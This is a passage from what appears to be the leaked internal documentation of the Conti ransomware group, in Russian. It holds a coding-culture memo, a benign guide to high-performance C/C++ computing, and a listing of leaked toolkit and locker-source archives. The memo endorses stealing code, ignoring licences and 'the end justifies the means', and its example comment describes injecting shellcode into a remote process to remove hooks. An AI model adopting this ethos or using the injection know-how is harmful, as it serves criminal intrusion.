Поэтому нужно рассчитывать только на свою остроту ума, изворотливость и смекалку, способность к нестандартным ходам.
То есть твои эволюционные преимущества.
Волшебные практики из мира ИТ не работают - скрамы, стендапы, митинги, тикеты, рецензии кода
и прочие карго-культы с серебряными пулями.
Недостаточно просто "делать правильно" и рассчитывать на результат.
Мысли критически и применяй лишь то, что удачно.
У нас нет рамок и нет людей-функций. Ценится ум и находчивость.
Над душой никто не стоит. Оценивают только результат.
Оператор goto разрешен и широко применяется. Используются любые хаки, ведущие к цели.
Цель всегда оправдывает средства. Нету запрещенных приемов, есть только неэффективные.
Хороший код тот, который решает задачу. Хорошо, конечно, если он не слишком кривой и достаточно понятный,
но мы разберемся и так.
Стилистически красивый, но не решающий задачу код не нужен.
Нужен решающий задачу код, потому что решенная задача - это деньги, твои и мои.
Раз уж мы за код зашли, то вот что мы считаем хорошим тоном:
* простота как для тупого. Нахрен восьмиэтажные конструкты и модные фичи ради модных фич (если конечно без них никак).
Пиши просто, как можно проще.
* Всегда объясняй _намерения_ кроме _методов_.
У нас много магии используется. Объясняй все по максимуму, развернутыми комментами.
Надо писать не только "что я делаю", а в первую очередь "зачем я делаю".
плохо
// аллоцируем память в удаленном процессе и запускаем шелл-код
хорошо
// нам нужно снять хуки на такую-то функцию в удаленном процессе, потому что иначе не заработает то и это
// поэтому аллоцируем память в удаленном процессе и запускаем шелл-код, который взят вот отсюда с гитхаба https://...
// шелл-код отыщет такие-то байты в прологе такой-то функции и пропатчит их на нужные нам.
// были еще варианты раз (ссылка) и два (ссылка), но они не подходят, т.к. плохо отрабатывают на таких-то системах
* лучший код тот, которого нет (не пиши лишнего)
Не делай заделы на годы вперед.
"Завтра" может не настать, и задел никому не понадобится.
"завтра" окажется, что ты не угадал.
Лаконичность, минимализм - наше все.
Бритва Оккама отсекает все, даже ООП.
* нет смысла писать код, если он кем-то уже написан. Перед тем как писать, поищи в Сети.
Если ты взял чужой код, обязательно воткни в исходники линк, откуда он взят.
Вследствие этого у нас простая лицензионная политика - ее нет. Попроси чужое демо и отреверси его,
чтобы узнать как оно работает. В половине случаев по характерным вызовам и паттернам можно найти статью или исходники на эту тему.
Но учти, что так же могут поступить и с твоим кодом - как от этого защититься описано в другом тексте.
* терпимость
Без особой просьбы твое мнение о чужом коде и методах работы не нужно.
У каждого свой стиль и почерк. Он или добился, или не с нами.
***
У нас свобода, насколько она вообще достижима.
Если ты даешь результат, то можешь делать все что угодно. Можешь нанять кого-то, кто напишет за тебя, купить или украсть.
Самое важное - довести дело до конца.

224
Conti Documentation Leak/docs/скоростные вычисления.txt

@ -0,0 +1,224 @@
СКОРОСТНЫЕ ВЫЧИСЛЕНИЯ
КРАТКИЙ КУРС
Цель методички - дать обзор по техникам оптимизации и быстрых вычислений для программистов на Си/С++.
Для этого мы рассмотрим устройство современных микропроцессоров и вносимые ими особенности в процесс вычислений.
ОПТИМИЗАЦИИ КЛАССИЧЕСКИХ ВЫЧИСЛЕНИЙ
В этом деле лучший - Агнер Фог: https://agner.org
По вопросам развертывания циклов, линий процессорного кеша, микроархитектуре Intel и SIMD-вычислениям отсылаем к его серии книг:
https://www.agner.org/optimize/
СУПЕРСКАЛЯРНЫЕ МИКРОПРОЦЕССОРЫ
В суперскалярных микропроцессорах высока степень избыточности вычислительных узлов.
Целочисленных и вещественных АЛУ имеется несколько штук, есть блок предсказания ветвлений, есть теневой регистровый файл, и еще куча всего дублируется.
Это дает возможность разбить последовательный код на куски и выполнять его параллельно.
To be done
БАРЬЕРЫ ПАМЯТИ
Барьер памяти - это способ контроля внеочередного выполнения инструкций процессором и/или компилятором.
Внеочередное выполнение кода неинтуитивно. Код ведь должен выполняться в том порядке, в котором он написан (на самом деле нет).
Операции над не связанными явно (!) друг с другом данными могут происходить либо не по порядку, либо вообще одновременно
в рамках одного и того же ядра, используя массивную избыточность вычислительных узлов процессора.
Барьер памяти же (в грубом приближении) заставляет выполнить код так, как он написан на экране (последовательно и предсказуемо),
а не так как хочет процессор с компилятором (в контр-интуитивном, но более оптимальном порядке).
То есть, гарантирует, что код до барьера памяти выполнится частично либо полностью, к моменту завершения инструкции барьера.
Барьер обычно является ассемблерной инструкцией (т.е. присутствует в системе команд процессора).
Барьер обычно является хинтом "между этими данными есть неявная связь", но необязательно.
В C++ есть три модели памяти для атомиков:
1. relaxed: гарантируется только то, что операции будут выполнены атомарно. В каком порядке - вопрос.
- модификация переменной "появится" в другом потоке не сразу
- поток thread2 "увидит" значения одной и той же переменной в том же порядке, в котором происходили её модификации в потоке thread1
- порядок модификаций разных переменных в потоке thread1 не сохранится в потоке thread2
relaxed-переменные можно использовать как счетчики или флаги остановки.
Самая быстрая и самая ненадежная модель памяти.
Аналог из транзакционной модели СУБД - READ UNCOMMITTED
2. sequential consistency, seq_cst: состояние памяти синхронизируется между всеми потоками программы.
- порядок модификаций разных атомарных переменных в потоке thread1 сохранится в потоке thread2
- все потоки будут видеть один и тот же порядок модификации всех атомарных переменных.
Сами модификации могут происходить в разных потоках
- все модификации памяти (не только модификации над атомиками) в потоке thread1, выполняющей store на атомарной переменной,
будут видны после выполнения load этой же переменной в потоке thread2
Самая медленная и самая надежная модель памяти.
Аналог из транзакционной модели СУБД - SERIALIZED
3. acquire/release: синхронизация пары.
- модификация атомарной переменной с release будет мгновенно видна в другом потоке, выполняющим чтение этой же атомарной переменной с acquire
- все модификации памяти в потоке thread1, выполняющей запись атомарной переменной с release,
будут видны после выполнения чтения той же переменной с acquire в потоке thread2
- процессор и компилятор не могут перенести операции записи в память ниже release операции в потоке thread1,
и нельзя перемещать выше операции чтения из памяти выше acquire операции в потоке thread2
Позволяет делать синхронизацию только между двумя потоками (в отличие от всех потоков в 1 и 2).
https://habr.com/ru/post/517918/
https://gcc.gnu.org/wiki/Atomic/GCCMM/AtomicSync
https://habr.com/ru/company/JetBrains-education/blog/523298/
https://habr.com/ru/post/545996/
https://habr.com/ru/post/546222/
https://habr.com/ru/post/546880/
https://elixir.bootlin.com/linux/latest/source/Documentation/memory-barriers.txt
ЗАМЕР ВРЕМЕНИ С НАНОСЕКУНДНОЙ ТОЧНОСТЬЮ
Точные замеры времени на архитектуре x86/x64 - тема объемная.
На скалярных процессорах с фиксированной частотой можно считать такты, а на x64 нельзя: результат будет различаться.
Один и тот же код может выполняться разное время из-за разного состояния узлов системы, что (грубо) определяется общей нагрузкой на систему.
Детерминизм отсутствует из-за:
- внеочередного исполнения инструкций
- суперскалярной архитектуры (конвеер, теневые регистры, состояние кэша и прочее дублирование)
- плавающей частоты как процессора, так и отдельных частей системы (шина)
Все усугубляется различиями реализаций между поколениями процессоров, между процессорами разных производителей,
внутри одного поколения одного производителя.
Ну и вдобавок, мы работаем в ОС общего назначения, с взаимовлиянием разных процессов и кода ядра друг на друга,
что добавляет хаоса.
Словом, несмотря на огромные скорости, для задач реального времени х64 так себе :)
Можно говорить о вероятностях: общее время выполнения цикла, среднее время выполнения итерации, оценки снизу и сверху.
В С++ есть chrono::high_resolution_timer. Но на разных компиляторах, разных ОС и процессорах его точность гуляет на три порядка.
Самое точное значение я видел на Linux / Intel(R) Core(TM) i5-4690K CPU @ 3.50GHz / gcc 8.4, с точностью в 30 наносекунд.
На Intel Core i5 480M @ 2.67GHz / Windows 7 / MSVC 2017 точность порядка 4000 наносекунд.
На Intel Atom x7-Z8750 @ 1.6GHz / Windows 10 / MSVC 2017 точность 320 наносекунд.
На x64 замеры времени можно делать с помощью Timestamp Counter (TSC) - имеющегося на всех поколениях х64 регистра MSR.
На последних поколениях, в нем содержится число тактов таймера фиксированной частоты с момента сброса процессора.
Для разных поколений и производителей процессоров смысл этого значения отличается.
Гарантию фиксированной частоты таймера можно проверить по наличию флага constant_tsc в /proc/cpuinfo.
Чтение таймера выполняется инструкциями RDTSC/RDTSCP, что в свою очередь имеет цену в тактах.
Замеры времени сами по себе влияют на выполнение: меняют состояние конвеера, являются предметом внеочередного выполнения,
влияют на кэш (ведь мы куда-то помещаем считанные данные).
Методика замеров следующая:
1. Вычисляем цену инструкции RDTSC в тактах при ТЕКУЩЕЙ* нагрузке:
- нагружаем конвеер циклом из этой инструкции, вычисляем среднее число тактов на инструкцию
2. Получаем (эмпирически**) текущую частоту таймера:
- замеряем несколько раз, сколько тактов протикает за одну секунду***
3. Определяем цену в наносекундах одного такта, на основании данных из 1 и 2.
4. Сэмплируем замеряемый участок инструкциями RDTSC, учитывая цену самой RDTSC
5. Интерпретируем многократные замеры.
* При изменении нагрузки, цена RDTSC может поплыть - из-за плавающей частоты процессора, состояния конвеера.
** Точное и универсальное получение частоты таймера достаточно сложно, как из-за разного смысла самого этого значения
на разных процессорах, так и из-за разницы в необходимых исходных данных и формулах.
https://stackoverflow.com/questions/42189976/calculate-system-time-using-rdtsc
Потому мы тут срезаем угол, уходим в эмпирику, но получаем достаточно правдоподобные значения.
*** И тут мы полагаемся на реализацию функции sleep в ОС/компиляторе, обладающую огромным шумом.
Интерпретация замеров:
- нулевое значение времени означает внеочередное выполнение двух RDTSC подряд:
выполнение замеряемого участка было заблокировано, и процессору пришлось выполнять второй замер вместо него.
То есть, на самом деле этот код выполнялся не нулевое время, а наоборот дольше обычного.
- большие всплески - это переключение контекста и ожидание, пока другой поток отработает свой квант времени.
Кроме того это могут быть миграции потоков между ядрами - как связанное с этим время,
так и рассинхрон таймеров между ядрами (гарантий их синхронности нет).
- меньшие всплески - ожидание передачи данных по шине при промахах в кеше
- остальные значения более-менее соответствуют истине.
Как видим, методика несовершенна.
Сильный шум не дает получить точные времянки, но все еще можно получить хотя бы качественные характеристики
выполнения кода, и посчитать распределения вероятностей времён.
В процессорах x86 есть встроенный блок слежения за производительностью — Performance Monitoring Unit (PMU),
среди которых есть независимый от частоты регистр (Описать Coreclock register)
ЗАДАЧИ РЕАЛЬНОГО ВРЕМЕНИ В УНИВЕРСАЛЬНЫХ ОС
Наилучшая ОСРВ однозадачна. Любое переключение контекста вносит задержку в выполнение; цена этой задержки может быть неизмерима.
В MS DOS контекст переключается только на прерываниях; в RT-11 еще при завершении асинхронного ввода-вывода.
В современных ОСРВ добавились таймеры, примитивы синхронизации.
Это тот максимум сервиса, который может позволить ОСРВ.
Попытки привнести в ОСРВ многозадачность ухудшают её характеристики.
Известен realtime-патч для Linux, он действительно повышает предсказуемость планировщика, снижает число переключений контекста
и уменьшает задержки в работе процесса РВ. Это подходит для многих задач микросекундной точности.
Наглядно про джиттер переключения контекста при обработке прерываний: https://habr.com/ru/post/562636/
Самый радикальный способ просто и дешево получить ОСРВ из обычного Linux - выделять отдельные ядра задачам РВ (thread affinity).
Вся обработка прерываний и системные процессы при этом выносятся на другие ядра.
Так устраняется сама возможность переключения контекста для процессов РВ (кроме отдельных обязательных прерываний).
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux_for_real_time/8/html/tuning_guide/chap-general_system_tuning
СКОРОСТНЫЕ СЕТИ
Для уменьшения латентности (минимизация времени отклика) применяются такой хак как Kernel Bypass:
обработка сетевого потока минуя ядро, в userland. В частности такое применяется в сетевых картах SolarFlare (их термин OnLoading).
Весь стек TCP/IP скомпонован в библиотеке, работающей в режиме пользователя.
Прерывание от железа разумеется есть, и оно обрабатывается в ядре; но из приключений пакета в ядре исключаются сетевой фильтр (iptables) и все ненужное.
Так убираются лишние переключения контекста kernel/user, внутриядерные блокировки (которые например могут быть зажатыми для нашего процесса чем-то еще),
копирования буферов, вероятность повторного перепланирования слишком затянувшегося обработчика в ядре, итд.
Это обычно совмещается с аффинизацией задач РВ (см.выше) на выделенном ядре.
В библиотеке максимально используются спинлоки в качесте блокировок.
Для программиста это выглядит как обычные сокеты.
Bonding описать.
Для увеличения пропускной способности используется RDMA - удаленный прямой доступ к памяти (другой машины в сети).
При этом копирование в память компьютера происходит непосредственно с аппаратного приемного буфера сетевой карты,
минуя обработку центральным процессором, минуя ОС как таковую (по сути без генерации прерывания).
Низкая латентность здесь получается прицепом, но наиболее эффективно это именно для толстого постоянного потока данных (например, в кластеризированных СУБД).
Пример железа - Infiniband, библиотека libibverbs.
Применяется в interlinked-кластерах, кластерных СУБД.
Общее место скоростных сетей - отказ от копирования буферов (zero copy).
На гигабайтном потоке время копирования буфера *уже* уменьшает пропускную способность вдвое.
На 100ГБ потоке посчитайте сами.
Потому все расчеты и манипуляции с данными должны производиться непосредственно в передающих/приемных буферах.
ТЕНЕВАЯ БУФЕРИЗАЦИЯ (SHADOW BUFFERING/DOUBLE BUFFERING)
Для достижения высокой пропускной способности передачи данных (в сеть, при сбросе на диск) используется теневая буферизация:
- выделяется несколько буферов, только один из них активен (готов к передаче) в один момент времени
- неактивные буфера наполняются данными в отдельных потоках
- из активного буфера тем временем передаются данные
- по завершении передачи из активного буфера, он помечается как неактивный; выбирается следующий готовый к работе буфер.
Это частный случай идеи кольцевого буфера.
РАЗНОЕ
Вычисления с плавающей точкой без погрешности
https://habr.com/ru/post/523654/
Оптимизация математических вычислений и опция -ffast-math в GCC 11
https://habr.com/ru/company/ruvds/blog/586386/
Быстрый парсинг double
https://habr.com/ru/company/ruvds/blog/542640/
https://github.com/fastfloat/fast_float
Быстрая валидация UTF8
https://habr.com/ru/company/ruvds/blog/551060/
https://arxiv.org/pdf/2010.03090.pdf
ASM today
https://habr.com/ru/post/544786/
Кольцевой буфер без деления по модулю
https://habr.com/ru/company/otus/blog/557310/
epoll и Windows IO Completion Ports: практическая разница
https://habr.com/ru/company/infopulse/blog/415403/
Какой предел у предсказателя ветвлений? Проверили на x86 и M1
https://habr.com/ru/company/selectel/blog/557410/
ССЫЛКИ
1. Agner Fog, Optimization manuals https://www.agner.org/optimize/
2. Стоимость операций в тактах ЦП https://habr.com/ru/company/otus/blog/343566/
3. select / poll / epoll: практическая разница https://habr.com/ru/company/infopulse/blog/415259/
4. Evaluating the Cost of Atomic Operations onModern Architectures https://spcl.inf.ethz.ch/Publications/.pdf/atomic-bench.pdf
5. Intel Intrinsics Guide https://software.intel.com/sites/landingpage/IntrinsicsGuide/
6. Neon Intrinsics Reference https://developer.arm.com/architectures/instruction-sets/simd-isas/neon/intrinsics
разное
блоги
https://easyperf.net/notes/
http://scrutator.me/

BIN
Conti Internal Software Leak.rar

BIN
Conti Toolkit Leak.part1.rar

BIN
Conti Toolkit Leak.part2.rar

BIN
Conti Toolkit Leak.part3.rar

BIN
Conti Toolkit Leak.part4.rar

BIN
Conti Toolkit Leak.part5.rar

BIN
conti_locker_full_source.rar

Loading…
Cancel
Save